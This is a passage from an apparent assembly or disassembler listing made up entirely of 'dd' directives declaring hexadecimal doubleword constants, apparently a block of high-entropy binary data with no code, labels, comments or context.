		dd 0C092B6F1h, 139720D0h, 830B11E0h, 7A54BE4h, 0D379E86Dh
		dd 0F3352B10h, 3166769Dh, 8236C16Fh, 18E84FE6h,	343CE222h
		dd 49865DEh, 0C63F5A88h, 0A41FF66Dh, 905C95E9h,	801FB05h
		dd 0B1641258h, 0DE5EFF6Bh, 14B59F05h, 0FF80591Ah, 93A5834Dh
		dd 0E151128Fh, 3FA90F28h, 0F5ECD0A5h, 0C01EC872h, 15FDD6A7h
		dd 0C2751ADBh, 754C5051h, 9C993FD3h, 58CB81A4h,	28E8B2ABh
		dd 2C0063B7h, 0C2C06919h, 713FA040h, 9B8C7CC7h,	9A034140h
		dd 41100CF1h, 0B1F75558h, 17592AB4h, 50DF97CDh,	106CAAB0h
		dd 7AFB6608h, 7223EEB7h, 72801EA8h, 2BF74Dh, 2137EAC3h
		dd 8B4B6FF4h, 0E685826Eh, 3E167FCFh, 0D1F5390Bh, 85D65F3Eh
		dd 0D08BB7A3h, 310A44C4h, 5615ECCAh, 0D62AF062h, 4A13CDB8h
		dd 0CB6A108Eh, 74821E3Dh, 9F1C67BEh, 378081AEh,	0B10C6376h
		dd 3441FD86h, 621226FDh, 36284E99h, 0D29842EFh,	0C17CC118h
		dd 0A38B1C20h, 5EE829E1h, 0B235050Bh, 0DD54522Dh, 0D83EFA7Dh
		dd 72BBC5B6h, 572A27FDh, 76C09CB8h, 3199E6DAh, 5DDD1727h
		dd 0B003AD9Dh, 3526E194h, 0B9A27B6Ch, 0B2466A3Eh, 0A8CE14A3h
		dd 98716984h, 1E8401F6h, 568F0E4Ch, 0DC1EB486h,	12B8C79h
		dd 0D575BE5Bh, 40C66794h, 8D31D099h, 66C720D3h,	807F4889h
		dd 5AA54B23h, 42996D6Ah, 0F66805ADh, 83A9B97Ch,	177AB6EEh
		dd 0B579FD75h, 0EAD862CCh, 1E3B458Ah, 0D71C2BF5h, 7817C005h
		dd 0CAD410B9h, 4BA7854Bh, 625E2DD0h, 0EF6EB685h, 76AFE869h
		dd 59199FADh, 40818E66h, 13CD2668h, 66248BEBh, 0ED84F0CBh
		dd 0A7E7023Ah, 1DC14709h, 9E53A042h, 72B120DEh,	0BAC6C21h
		dd 0BBEFC5F0h, 0B0DEE488h, 5AF59C9Dh, 0C2DCA1CAh, 1AC51F1h
		dd 17867F1Eh, 0B8144FC5h, 0E5520D2Fh, 0CB240744h, 3D1C4146h
		dd 828192h, 0BE6CA294h,	0E9104573h, 359ABFC3h, 6150779Ah
		dd 80B02E1h, 531076B7h,	5B694A0h, 4387BDEFh, 3BC60A35h
		dd 492C568Bh, 0C9156FC3h, 56E5F9F1h, 0B7E2DD69h, 0C72B2F9Ch
		dd 0EF151386h, 0A5928BF5h, 1E7B625Fh, 0E5D1D227h, 0CF46260Bh
		dd 0F406D6FDh, 32E61090h, 0B57FB6D5h, 0C325627Eh, 0DA103088h
		dd 6FE8463Ch, 1E95595Ch, 23A9FCD7h, 0FD59587Bh,	2C8EFDBFh
		dd 92C8FC4Fh, 35F7065Ch, 4C77FFE9h, 0A38AE9CEh,	1496EDE3h
		dd 0DAD2ED8Bh, 6B3ABB7Bh, 69B3DACBh, 86C25CDh, 0D1CF053Bh
		dd 0C56CB05Dh, 2C944BFFh, 3ADD2CCBh, 19999B07h,	0BD1D1D57h
		dd 0E6F5A204h, 2F4B0DBBh, 0B05AB254h, 0ABEC2E4Bh, 0F7B7E223h
		dd 6886D2B8h, 0C16D0E52h, 6655D7C8h, 29ACE43Bh,	26BF236Ah
		dd 93477FFEh, 7A9758B1h, 401F0091h, 698E1C97h, 783D4439h
		dd 0E647169Eh, 1660E6D2h, 0C63E834Bh, 8B7AEA95h, 64536200h
		dd 0C06D9E45h, 6584CD8h, 0D790EA00h, 66C3913Dh,	7AF823B7h
		dd 8D386B39h, 0A6C70F8Eh, 7180A9EDh, 0C2F74D4Bh, 0E0D5DD78h
		dd 62F1DEDEh, 936F99A9h, 0C14AC558h, 0ACC7F975h, 72EB7098h
		dd 35793CFFh, 0B8D29B8Bh, 0F2FED50Eh, 35D462D1h, 0D6101099h
		dd 0CA08AEF4h, 9E18AB63h, 0F233BE51h, 654C3AEh,	0EC36B288h
		dd 38601F4Bh, 0E4403C78h, 6120F34Dh, 0E4C918CFh, 9488CFC4h
		dd 0BD26ABF3h, 0B566CF15h, 7879B977h, 4B7650DBh, 0B871B81Ch
		dd 0BFC6E0CAh, 49299462h, 0C1BF12CDh, 7ABF6C9Bh, 5BF03B32h
		dd 0A38288CEh, 0C24262h, 0E1D23379h, 7CB2E848h,	7EEA3446h
		dd 0AF84AD8Fh, 0BF42CECEh, 746EC7Dh, 30C8C2Fh, 4C8192D2h
		dd 5FE10C2h, 0E71DABE9h, 60220F95h, 0A0D98F77h,	5C75C62Bh
		dd 7B7D79A7h, 0DFF1FFB7h, 808D44A4h, 94BD2FDBh,	15FF87C4h
		dd 46038DB4h, 2A5207C6h, 1F98B767h, 36567729h, 131E10FDh
		dd 0DAE131F6h, 91A96819h, 0DED2470h, 13D99B64h,	3A707069h
		dd 0AB6AFAFFh, 0C46D468Dh, 21F38C31h, 3EB4020Ah, 0CF3279BFh
		dd 0A772A708h, 3BDF782Bh, 0CE6BCE95h, 0D6E7ED29h, 0D2F63FE2h
		dd 0A6993AB3h, 33C461E7h, 4EA0D6B2h, 0E3984847h, 0D52DF221h
		dd 0A979C797h, 3CE996B7h, 4C02A083h, 7CC2487Eh,	0FD6133D5h
		dd 6F19BF58h, 41F25EB2h, 0A369DD26h, 0ED1BEB7Dh, 742D2AB7h
		dd 4275E9A8h, 7AB0BBF7h, 0C36F08C4h, 0E6463536h, 9A5202A2h
		dd 1C141DB6h, 0D7FB51DBh, 30F92685h, 0A2321F14h, 0D2BB470Fh
		dd 2AFC9C34h, 0D2674573h, 0EC09F54Ch, 0F554E50Dh, 0F12B721h
		dd 9DAB4FE5h, 111C58DDh, 0FA1B9994h, 6B676531h,	0A999A3D1h
		dd 0A4AB44C1h, 0B81DEE52h, 0C48E01D3h, 0B95FA44Dh, 5D7A239Dh
		dd 6BCD56EAh, 856BF6F2h, 87D28F4Dh, 0F84D8267h,	5A903438h
		dd 0AE611EB5h, 0A65DF504h, 35623414h, 0AB71E692h, 7FA1730Ch
		dd 0CB1BEFB4h, 4B61A7DDh, 66FF4FD5h, 3E8188Ah, 0B4A043B8h
		dd 2A21A567h, 0FC5B957h, 4EBC6F27h, 19E279C2h, 0F543F92Fh
		dd 20D423EFh, 2DAF37DDh, 2E34C39Ah, 4BE50C07h, 72F71F87h
		dd 54BE3992h, 0C2F8CE32h, 8C5CF073h, 0D1403015h, 7BFA6429h
		dd 2BAF2EECh, 2436C586h, 45290724h, 928643E3h, 0EDA7DA78h
		dd 0E609FF4Eh, 0C489334Ch, 0A3AE8B4Ch, 0BFBF8635h, 0E962F65Dh
		dd 0D6813117h, 262E34F7h, 72C2AD11h, 0BC43B85Ah, 25D85916h
		dd 655DEFD9h, 58E66833h, 45D855A7h, 3E02A1B4h, 62D5461Eh
		dd 28D118CAh, 0E3480410h, 4B79AA5Ch, 5A0A0115h,	2A926DE5h
		dd 42223CD2h, 0A6A42CD6h, 0AF6E8D41h, 640C3CBBh, 0BAF0A481h
		dd 8930232Ah, 49E149D4h, 19827810h, 503794E6h, 8BB965C9h
		dd 1E4010FEh, 880F0126h, 0A338C067h, 8D443D1h, 7199EEEEh
		dd 61846A81h, 2C851B90h, 0AEEAC640h, 0B05E85FCh, 82343CB3h
		dd 1CE241D0h, 0D610774Eh
		dd 607BA700h, 67DD07F8h, 6ECAFF35h, 0E0863FD3h,	8837A837h
		dd 3EC803E3h, 0CC15CC5Eh, 35269568h, 4D84B8C7h,	338F18D7h
		dd 8534E681h, 0ABAD21F2h, 0BA370B4h, 0E32B3B53h, 7F17BA67h
		dd 9A4166DBh, 0BB9BFEC6h, 8820169Fh, 5151700h, 40FAB050h
		dd 0F9371630h, 0BE02F8B9h, 0F54F34CAh, 18038B44h, 0F5ACDBCFh
		dd 0D8418444h, 5D318050h, 55A6678Ch, 0A9AC1B2h,	673ADCB8h
		dd 0F53F59D5h, 0DAC34E2Fh, 380A284Ah, 0CBDA4A2Bh, 4E8302CEh
		dd 0D674A28Ah, 60D6D5C6h, 1E0D9FB5h, 353E917h, 998F11C5h
		dd 0D9835326h, 4F04FC7Ah, 96032A8Dh, 52764DB1h,	0FF14D9E8h
		dd 6D2CDC4Eh, 9979FD0Fh, 8412E75Fh, 0ED6E12CAh,	0C625A20Ch
		dd 6ECE3262h, 926E8170h, 373F2B34h, 28D656DCh, 59FF5DFCh
		dd 2937ED23h, 0F94A9266h, 0B961FB5Eh, 3F24E10h,	219551A4h
		dd 833AB023h, 5F1FBBB9h, 0CBF4AAD9h, 85739795h,	1046B567h
		dd 0F162DE60h, 0CCD766Ah, 0C434DB6Dh, 87D6AC72h, 0ED2040A9h
		dd 0C256D11Fh, 0CA60D146h, 8A242D3h, 27BCBC5Ch,	6356DCADh
		dd 37D07446h, 6AFE61ABh, 3BD01A8Eh, 81502911h, 0E3A823E4h
		dd 98FFF2C1h, 865D8E9Fh, 0AD288A1Ch, 671DDF20h,	0FD733FB5h
		dd 8160866Ch, 0C935C329h, 0EAAA3747h, 0BD7F86FEh, 23BA3EB3h
		dd 179C8044h, 0EE671D71h, 0D255DF52h, 0CF850502h, 9CB11E8Bh
		dd 0B38F5DD6h, 0A6C26CB0h, 6040C36Ah, 0B4FD70ECh, 81B329FAh
		dd 0CC4A2F19h, 4D8C4F75h, 0EB394BABh, 5BA785F9h, 53D159D8h
		dd 52A6B6DEh, 0CF9D3956h, 0B63E835Bh, 4FE6BB20h, 275707EBh
		dd 75A33A10h, 0E57EF3C3h, 0E325569Ch, 827DCC9h,	0DE52A49Bh
		dd 48D81295h, 678264C2h, 51C6C7Bh, 0AC346BAh, 4CD05D2Bh
		dd 1A560129h, 0BCB9C9D7h, 6C2ED28Ch, 0FF2BAEA6h, 0C1AC343Bh
		dd 0AF173FD7h, 9443A136h, 65787228h, 0AB3DC344h, 0B0E6DEBDh
		dd 0AF5AC643h, 48A01FFEh, 49E96FB2h, 288E8330h,	9A2A8D23h
		dd 5E8024EFh, 0A3177515h, 7E448F1h, 610F2A0Ah, 3608BDCBh
		dd 1D27267h, 0F1EF19FFh, 827280E8h, 924EB46Eh, 5507E4AEh
		dd 0FC699A45h, 121FCAFCh, 22EF9D22h, 7AD38495h,	1112E77Dh
		dd 39E280C7h, 859F5D19h, 0F6F11EC7h, 0BB3951F7h, 0B252301Ch
		dd 4BFA6608h, 0B15E3FE4h, 0F919105Ch, 36C3D183h, 72DA37FBh
		dd 0A52A6EB0h, 1D3FC2D0h, 35CB8A5Eh, 7C9C135Ch,	50FA55FDh
		dd 0C53FAF33h, 400C5CE5h, 3D9B319Ch, 74EE921Bh,	0E3AB61F0h
		dd 5184EFE5h, 45D941CAh, 5CD55B1Dh, 0C871F8AAh,	0BE009F69h
		dd 0BB3A4CA8h, 7427B827h, 769F09FCh, 60EB2C9Ch,	279D76F8h
		dd 0A3D90FA5h, 1BF823DEh, 0E85A44A9h, 0FB50CA73h, 0F569FF5Eh
		dd 0B01E9077h, 0F081B790h, 853B87B3h, 749F56CFh, 44A631D5h
		dd 2EDE12ECh, 608762FFh, 0F0360EA3h, 0D67AACA4h, 903CDC09h
		dd 5B063EDBh, 87916DF8h, 0A17B27D9h, 92858313h,	0BB43FE4Bh
		dd 0FB50D336h, 840F8166h, 0A93FD592h, 325BDD6h,	0EB511ECDh
		dd 0E958F478h, 510FAF37h, 70D81FF3h, 65AD35F2h,	0E3794F73h
		dd 0DA01F952h, 0B80BE07Ch, 0C7B0B120h, 0BC2E9609h, 901002BCh
		dd 4A25575Dh, 0AAC335FBh, 6B9FF0F5h, 8F5A38C9h,	0A1D8661Fh
		dd 2E97241Dh, 0EA7E3DF8h, 7033AD8h, 0BF5E3CF9h,	3041C3EDh
		dd 0F89A0E12h, 0FC6B6456h, 5A2DF705h, 0E7AA56E2h, 444EE401h
		dd 7FC5E6D4h, 0E698489Dh, 22F3BD6Fh, 6FE51D0Eh,	0D28697A1h
		dd 37A60839h, 4A351D89h, 0A799E7ACh, 0E71BEF61h, 0A1569789h
		dd 4463511Ch, 213AC766h, 0F751FF04h, 0C89A6036h, 0E263A51Ah
		dd 6619692Ch, 0AEAE8EBBh, 221ED162h, 9FD65B8Ch,	61D64ABDh
		dd 334D1A84h, 25F76FFBh, 0F98A7214h, 3527CE34h,	5FF926C0h
		dd 0B65C3997h, 0B3B2E8E2h, 0E22AB125h, 3BA0822Fh, 9035EBC0h
		dd 3E39E084h, 10E89091h, 0A8A04C17h, 5FDC760Ch,	98A1170Eh
		dd 0CA56328Ch, 0C2963031h, 38FA0370h, 3F4FBA5Fh, 7E174B4h
		dd 5C56E54Eh, 0CC961596h, 86F70969h, 93D323B6h,	0DF91003Bh
		dd 52EF0E4Ah, 9F6B4DBCh, 0F150DE8Eh, 0F6FDB152h, 0C9A9DFA6h
		dd 2A397470h, 0EC51C06Ah, 0B8F8087Fh, 96D86C88h, 30D962E6h
		dd 105D03F1h, 2EFDC802h, 56956FF5h, 76110022h, 14F8BAFFh
		dd 207B6C92h, 0C31A02A5h, 8A175E3Dh, 7725E343h,	0A225ACC7h
		dd 0B3B22850h, 579E8F70h, 9DBBCD89h, 6F2094FFh,	24F54BECh
		dd 132B2A46h, 0A110883h, 0A59906BAh, 5414EC33h,	0B356FD3Ah
		dd 5FF9F7F6h, 81AF88A3h, 0B06E52ECh, 4F91721Bh,	7ABA26C0h
		dd 19232C3h, 0FE75597Dh, 58FF426Bh, 0A300DCB4h,	958F476Ah
		dd 7EB45DA7h, 5ED6116h,	0F100FA1Ah, 871D15DBh, 0B414503Fh
		dd 3B0F00FFh, 2BF53B3Ch, 35F876FEh, 0C868FD4Ah,	0CC25EE98h
		dd 50CDB592h, 812936DFh, 0B133D32Ch, 684485BDh,	6E06AAB6h
		dd 0A4AF26C3h, 6DD45954h, 0E07C998h, 0A4B314BCh, 3D9B93ECh
		dd 340BB790h, 5D078C48h, 40B04659h, 1C32C07Ch, 0ECA09EFFh
		dd 20DD5105h, 0FE7A527Eh, 8BD43070h, 0F0950639h, 6B4B5FD5h
		dd 0A40168CFh, 819837E1h, 6929339Fh, 801EAABh, 0C770C9AAh
		dd 87E6AD9h, 0EE47F75Eh, 952FA543h, 78C3ACF1h, 14D678F9h
		dd 0C89F8C40h, 0D9B950Bh, 9A227FDAh, 43986DD0h,	9335C57Ah
		dd 345C118Eh, 6CCEB47Fh, 6ED93CCCh, 3123B92h, 7B1CB618h
		dd 4ABCC6B3h, 42525680h, 3C31EDA8h, 62D7BE9Ch, 0BBD6D5ABh
		dd 0E697BF97h, 0A829F903h, 0DF9E6898h, 0E39D54D6h, 69FA30Bh
		dd 3D2EBD9Fh, 0D647E568h, 24EDC80Fh, 4AF2A86h, 0B49CC68Ah
		dd 0BFEF9B18h, 0EB46E8ACh, 0E64DAAA8h, 6A74416h, 3C8F74EFh
		dd 129B455Ah, 57A26169h, 41C307F6h, 40D57BA6h, 0B1B202E1h
		dd 0E416518Ah, 28B39047h, 97550C7h, 0F234B10Dh,	0F656E470h
		dd 26DA044Dh, 0E6A34444h, 2A3156C0h, 714FDB0h, 42628020h
		dd 70041E9Bh, 0E35ACD73h, 95145DFEh, 0CB2C0B0Ch, 29F9BD2Bh
		dd 33E7648Ch, 0B9428A02h, 0B9945B6Fh, 0E59BA751h, 0F297DF6Bh
		dd 8CE18335h, 0A417330h, 31FA39B1h, 7C173E0Bh, 0AE587307h
		dd 38E1F7B9h, 75DB7DC9h, 0F0ACA59h, 0E315E543h,	6255A951h
		dd 0AD511266h, 0FECC6416h, 0BC04E24Dh, 0ADE74DCBh, 0A57CAE30h
		dd 31978732h, 0C39886B2h, 71848003h, 0CDBBA63Bh, 3664A31Dh
		dd 71DC5D11h, 9121637h,	5BECFD23h, 0F143CD4Dh, 0E1A4D4BBh
		dd 37ACBE51h, 1A2C04h, 9FA08856h, 960EFC4Ch, 0D66F2F00h
		dd 2679A118h, 523EA876h, 4F01F722h, 36E45405h, 54C78C3Ch
		dd 56DF15DCh, 0AA2E28CAh, 1FEE2B0Fh, 6FEACC87h,	31AFBAAh
		dd 39A30782h, 0A371CB70h, 8EC4741Bh, 0C864CF69h, 4C8A930Fh
		dd 6DB63E95h, 36F5EBCDh, 817BE199h, 0FEB62C12h,	3C110822h
		dd 0F32AEF7Fh, 8F262BF3h, 8A6E8142h, 0F52ABA43h, 0BAAC73FBh
		dd 0CEB7E45Bh, 0F2F865A5h, 9763C879h, 0CC306701h, 0D61996DAh
		dd 70F809F4h, 1EE212B0h, 6DE05515h, 2AD118D1h, 3F0777C5h
		dd 0B57E1C4Fh, 8FDD4391h, 0DE83678Dh, 308331Fh,	2115430h
		dd 5613854Eh, 0B7037EE0h, 55DEE52Ch, 3B3A0788h,	80D641D4h
		dd 17DAC516h, 6020EC75h, 7DD137D1h, 581EB35Ch, 1EEBAFB6h
		dd 59ECF14Eh, 7083B929h, 9B7F4C88h, 0D280FFB1h,	0AC1C8273h
		dd 4FE45E45h, 5D2B1987h, 0EA48C113h, 0FFA1B6Eh,	0EC733BD7h
		dd 0E4C4682Fh, 0E5B56B85h, 7285FAF0h, 85B87D93h, 0F46A890h
		dd 42F538D8h, 77C6F4Bh,	2BEB099Eh, 0DC9A5215h, 0B54FEB0Bh
		dd 22E2FE99h, 1F470AC3h
		dd 0D7857923h, 6D9BEC70h, 0E85700AAh, 0B2C6947Fh, 6EB207C5h
		dd 5D682B07h, 3D012106h, 43D49920h, 49427CF9h, 51BF6D54h
		dd 38958734h, 0BE7B35FEh, 0F03B2DF4h, 0B37B3202h, 74D742F5h
		dd 0C6AC75E4h, 5307D844h, 0EF9C2062h, 0EF1F9476h, 0A962B276h
		dd 1AFC181Bh, 66800FA5h, 4EE7A467h, 0EB65B1E5h,	53090BAAh
		dd 75A1A23Ch, 0C1F4A0D1h, 0C64BC033h, 0C48C15C0h, 0B5C1C662h
		dd 0DDB7932Ch, 20EC5DF7h, 10D3A0FBh, 0C81735CFh, 2CC7246Ah
		dd 0C74F2A0h, 7D686ECDh, 0BC15C19Ah, 0EB5A18C5h, 3F2DC022h
		dd 0FE0097Bh, 446B528h,	0E5A27B37h, 0D575E303h,	0A06F7061h
		dd 0F6839935h, 5209418Dh, 67E7BD58h, 0ECA10AF3h, 0CCEA8434h
		dd 9202AE9Fh, 609CE22Eh, 34371FBAh, 0A82F10DEh,	0DA32FF86h
		dd 1A4F5CA5h, 0DCA0659Bh, 0A3E37334h, 5FEB6D5Eh, 23FF4FD5h
		dd 958B30B3h, 0FAFD5E3Ah, 4DC5B43Fh, 0CD8A0BEFh, 43CDD1FAh
		dd 0A40ACA2Ch, 3CC2B9ACh, 0B447E98Dh, 0E0413722h, 6FA718FDh
		dd 0B5B8F40h, 0D85C4112h, 8278F65Fh, 0DC179B5Bh, 7A9ECA1Eh
		dd 62DC6760h, 2DD0A656h, 9F1D7D39h, 44CDEF1Fh, 22B7A834h
		dd 99B29651h, 7D9DC8EEh, 69CE6B89h, 6603E764h, 977A1C0Bh
		dd 5BFC2AEFh, 57AE46CEh, 6565B75Ch, 418B1CBCh, 38D40471h
		dd 95134CE6h, 0DB36E098h, 1734AB7Dh, 9FD5C31Dh,	2BAD5510h
		dd 887ADA85h, 0AB0AD47Ch, 0F0B241Fh, 0ED6D9AA4h, 43A7010h
		dd 1BB040CEh, 0A63AB66Ah, 44F071DDh, 0C2B329AFh, 1AEE46C6h
		dd 2ED52DEAh, 8A67F57Eh, 593C9E72h, 0C0CB5090h,	9C6806B9h
		dd 7F728B6Eh, 1BBB138Ch, 0AFD7C525h, 0C3680EB1h, 0FD13FB70h
		dd 0C1639901h, 48F92B00h, 4C02384Eh, 14B839D8h,	0AD46C76Ah
		dd 73F88F3Eh, 4AD51DFEh, 450DBEBEh, 0D37E1CB8h,	0BC6177ADh
		dd 0CD16F332h, 0B01CE41Ah, 856D9B59h, 0EA56FC6Bh, 8A35F456h
		dd 649A2ECBh, 0E110F82Eh, 0CB1E043Ch, 0B7198675h, 77C82CCBh
		dd 38D372EBh, 43B425B4h, 947302B7h, 8064E27Eh, 223C42CCh
		dd 0EA73C1D4h, 6FC55D18h, 28B338BBh, 0B393B18Fh, 0DB00F098h
		dd 2819FF60h, 7CC18A30h, 5EE5992h, 0ECF15D92h, 0BE09DC2Bh
		dd 71CE6C00h, 72A8DC83h, 2696058Ah, 65E349AEh, 0DB5D1FAEh
		dd 0B12D1C34h, 3ED17EC1h, 18E85EA5h, 0AE7573EAh, 0CA46799h
		dd 0F71BCD57h, 28C6BD04h, 0B02EC29Bh, 0B737AE68h, 0AE38985Bh
		dd 9BCDC066h, 26B00DE6h, 0C191AB89h, 0BF0C9B51h, 0DB53C02Eh
		dd 0BB1BE172h, 0C0494D7h, 0C2B436DAh, 5CFE74DEh, 76964588h
		dd 0BE5413D5h, 0A8B7D595h, 7D7AB006h, 0DA731E9h, 362C172Bh
		dd 0E19E36B6h, 0E8779426h, 2E2E901Eh, 77AD9BDBh, 92B72199h
		dd 0A9AD498Ah, 25C59E2Fh, 20DE2BD6h, 7998EFA2h,	568C3A9Ah
		dd 6FFA7A20h, 1DCC2DA5h, 9C948E8h, 8A463EE1h, 34C85204h
		dd 8D10DA38h, 0BA33D175h, 0AFD6B058h, 0A41B8403h, 8820E85Bh
		dd 66C45A1Ch, 0F79E22CCh, 9A91E7B9h, 3CB66EAh, 0ACF93A3h
		dd 3EDC61FAh, 7DDD21E1h, 0DEB4E485h, 5F118A9Fh,	40D216F9h
		dd 49814B91h, 49A24FA4h, 48F578F5h, 114EEA20h, 6FFD12F0h
		dd 5A8F52ACh, 70DCBEAAh, 73C40B87h, 0F62A3DE6h,	14B1D910h
		dd 0AF71F86Dh, 605EFB4Eh, 27E95DBDh, 67D93EB6h,	487C0BBBh
		dd 0DA982812h, 0EC5D2023h, 0F85FBC33h, 9D68E712h, 10A5A120h
		dd 0F27F239Bh, 952BAC07h, 8F7D167Fh, 0E20F815Ah, 6C9C442Ch
		dd 50AB2C8Ah, 0F892359Fh, 0D692F64Dh, 9B4A954h,	0ED432832h
		dd 0D5659574h, 9D83456Eh, 0F179FFA4h, 0E0CBF1Dh, 0A35628B3h
		dd 0DD76ED0h, 14E056ACh, 0AB51DBEDh, 65D44410h,	958822C5h
		dd 0E3708274h, 4C0FE87Dh, 2EE14A38h, 7CDE9C04h,	7CEF499Ch
		dd 2FBA05C6h, 50D2EC40h, 7595E9C2h, 0E507985Dh,	4CA85B13h
		dd 16EA5CDEh, 1DAB9903h, 8D593626h, 47E4F851h, 0AE9B2885h
		dd 6DCCA542h, 0A6003A83h, 79152CF2h, 49A704FDh,	0F378E5C3h
		dd 0DC37A419h, 3FB6903Dh, 0B36C193h, 0E167B147h, 1CCEBAAFh
		dd 73CBE66Fh, 70FE7EE1h, 5CC00BFBh, 63F01898h, 8EB46CFDh
		dd 0B8AE1582h, 0B26829DDh, 3B464C30h, 0E6AC5ABBh, 0E11EE34Fh
		dd 41666464h, 7E864F0Bh, 7DED71D1h, 6FA4881h, 2A44ED3h
		dd 0D852D495h, 5F308F40h, 0B3E97497h, 88478440h, 8334974Dh
		dd 903A3D91h, 289E69E4h, 0B354ACF3h, 0D010E791h, 65562C02h
		dd 180CB806h, 72C664EBh, 78E35DAFh, 9E87983h, 24CF43ACh
		dd 2F0D0496h, 5CEB6B2Dh, 0DF845F5h, 91C216F5h, 0A4A2F444h
		dd 0C736906Eh, 3E2FDD34h, 6FE5522Fh, 43F272F3h,	2D262ABFh
		dd 0A943CF89h, 6AD8B899h, 0A789C971h, 0E160348Fh, 8D13940Ch
		dd 5AFB5ACCh, 0BCAEE2C5h, 39D90ED0h, 0CD8331BFh, 0AA3BE773h
		dd 46BA59E6h, 0B8E92C7Bh, 443FA893h, 1FF165C5h,	6C59C32Eh
		dd 0BAC23B8Ch, 0BE61DA4Eh, 0F648E662h, 3DE0DF4Dh, 299C7B03h
		dd 0F09A3AC2h, 924C8476h, 8CBCA382h, 6933E193h,	0EC6BD944h
		dd 6488EA78h, 82991CCEh, 6F13891Bh, 136111EFh, 7F301735h
		dd 238B17DAh, 701E8C54h, 12C5719Fh, 748A66A0h, 5420FB91h
		dd 0E15ED3F4h, 0AE47BF2Bh, 0C1372357h, 2A2E1F05h, 77FA7B9Fh
		dd 0D474E800h, 5EA90F17h, 749976EAh, 0CFC06182h, 53977F0Dh
		dd 44A25CDAh, 1E3CC57Ah, 0D8C9665Ch, 0F96BFA6Fh, 2509F161h
		dd 0F45F372Ah, 0BEE160A1h, 0A502C98Ah, 0AF14931Eh, 4927A551h
		dd 7EEE1202h, 4D056374h, 0CD56BCBh, 2F66BD1h, 0EC6D1CC8h
		dd 0AA04E410h, 0DF5F07BBh, 2887B60Dh, 8D76F372h, 0FF9956Fh
		dd 0DC7C06CFh, 4DFB3116h, 72F07215h, 259E7DE6h,	86279056h
		dd 0B1453A14h, 9DB35E11h, 5D9E67C1h, 857315CFh,	0B09946ECh
		dd 0D15F27D8h, 4DF1653Fh, 6BDD3CBFh, 5B95A36Dh,	5EB1ABADh
		dd 6DD2E80h, 1B46AF94h,	6DD200F9h, 7DBE1BFEh, 9D94C5CFh
		dd 0D021DF53h, 0B279DE63h, 0C209FA59h, 1ECF9242h, 0B8085435h
		dd 0BECA194Eh, 827FFD59h, 9D71F503h, 0C435E545h, 0B8CC8F2Fh
		dd 0E19B2C08h, 0F075816Eh, 8409DB4Bh, 4621DF37h, 0AC4A8856h
		dd 0F9C0B33Eh, 0F1AE10C5h, 6A5B311Bh, 251ABC03h, 67943C95h
		dd 447D06ADh, 0B43DA600h, 493C9B5Bh, 80FA7B21h,	0A348B619h
		dd 0D12ED019h, 53E5AA42h, 8153F2F4h, 3B5FE71Ch,	6FD848C8h
		dd 0F016243Ah, 0BE628F15h, 9D46FB8Bh, 0C25DE762h, 10E59B74h
		dd 9465EBD0h, 443CF540h, 0F274D9A3h, 0C629C15h,	42A0DE16h
		dd 0AE14D673h, 65D874C1h, 579046FCh, 1D25B79Ch,	0C40D20D2h
		dd 922E0A3Bh, 4FF201F5h, 0B92586EBh, 71EECC1Ch,	0BFE8A1B8h
		dd 82F95091h, 0F3A048EFh, 0F8569931h, 0ED030C30h, 0CA63B68Ah
		dd 8F888E00h, 5BE5AB59h, 8F97B99h, 3ED464F5h, 584E19BBh
		dd 3C32C2F6h, 0B9903CBDh, 76F41AB6h, 45BE26C4h,	34CA3AA9h
		dd 0C9980Eh, 0CA67AAFFh, 0AF09EE14h, 7A23DC44h,	98749CBh
		dd 0D5AAF98Fh, 28CCE54h, 0C676E610h, 1315C921h,	0CC718E39h
		dd 0FE5D542Eh, 3D0CE37Eh, 7E6F6D6h, 0FB42EEEh, 83E4A25h
		dd 4ACD73D2h, 34F3BF82h, 26E5A568h, 38FFA366h, 4219D174h
		dd 6C3BF78Ah, 8E3294D0h, 8655E538h, 0F88F23F6h,	55BFB124h
		dd 0C3A10EF4h, 492B886Ah, 44BB070Eh, 4E281DAFh,	5FC263D5h
		dd 8DED98E1h, 3FD6E52h,	39AF2096h, 0D04DF73Ch, 28E5D371h
		dd 85366E3Ch, 17B85EFBh, 21E187BFh, 0A9B45276h,	6A1CC17Fh
		dd 0C45A2FB9h, 0F0389D73h, 20D78B3Eh, 0BA01496Ch, 0E81E5472h
		dd 7CBB07B2h, 7EBDFD30h
		dd 70B7FB3Eh, 8AC1194Ch, 0D4E33F72h, 0E6354598h, 5B6E83D6h
		dd 0BDE6D005h, 0C1F72D5Bh, 0C7200E8Bh, 7152B499h, 0C82C3217h
		dd 4CA79FE6h, 1E096554h, 0D8CB3B22h, 9285F9E8h,	0C4CFD79Eh
		dd 9AD0063Ch, 0E091564h, 80B0B02h, 2050908h, 340F071Eh
		dd 0C6D12D3Ch, 90E3F3CAh, 4A5DB180h, 0C375F76h,	77ADDBE4h
		dd 0CDEA1041h, 4F6C8EAFh, 0C1E6042Dh, 3B508ABBh, 85B2E801h
		dd 0D7043657h, 93E6CA5h, 25BA01D3h, 0AA4B7A64h,	5BA435D4h
		dd 0D831A9FAh, 802CC244h, 1F436E9Bh, 2977E10Fh,	0B655F5E6h
		dd 0B76F292Ah, 52001002h, 10A0DA9Ch, 0A999092Dh, 0BB3C3E02h
		dd 4D8E171h, 66F37DF9h,	6BED76FEh, 50AFD214h, 0BE7828CDh
		dd 0D4712BD2h, 28828B5Ah, 24CE7506h, 2316CF73h,	0E0AAA0DCh
		dd 18DC99F1h, 8A1D9D43h, 4AF737D4h, 608E6CD4h, 0E1BC3392h
		dd 88DEBE6Ah, 4811751Dh, 0B95305BFh, 0E344603h,	0F6972B46h
		dd 55ECCAB8h, 0E88F50B6h, 0FF87B078h, 775D829h,	0D54FCB83h
		dd 0A89B1E30h, 58D8BDA3h, 7198FA36h, 0E3682233h, 0F75749ADh
		dd 7F48F601h, 398235B5h, 0E35AD921h, 1D52C305h,	1E6B03EFh
		dd 0DB780ED7h, 0EA702E4Bh, 5316C0E2h, 0C70188C1h, 49A1657Dh
		dd 6966686h, 0E39658D2h, 0F85C383Bh, 0C328FC6Ah, 50019809h
		dd 5E1D13A5h, 31A191CEh, 0F95DC37Bh, 0E63ED7B9h, 84A8765Fh
		dd 39E2AA25h, 0A660B7C5h, 0EB738170h, 0F462BF6Ch, 116FE05Dh
		dd 0BE7C14ECh, 0CB0B8F9h, 0C0713925h, 9322E77h,	56C016FAh
		dd 5445ADDFh, 9070B056h, 0B02EEF6Ah, 0C61F64FBh, 274D278Ah
		dd 1787165Eh, 1BE61FE3h, 32D7298Dh, 379D0901h, 0FD55F94Bh
